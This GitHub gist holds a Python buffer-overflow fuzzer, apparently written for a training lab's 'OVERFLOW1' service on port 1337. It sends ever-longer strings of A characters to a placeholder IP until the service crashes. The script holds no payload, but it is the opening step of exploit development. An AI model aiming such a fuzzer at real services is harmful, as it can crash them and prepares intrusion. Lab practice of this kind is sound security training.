Skip to content

Instantly share code, notes, and snippets.

@jayateertha043
Created November 25, 2021 13:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jayateertha043/fbe860de237a715b9e8987a8b68a9a21 to your computer and use it in GitHub Desktop.
Save jayateertha043/fbe860de237a715b9e8987a8b68a9a21 to your computer and use it in GitHub Desktop.
import socket, time, sys
ip = "MACHINE_IP"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment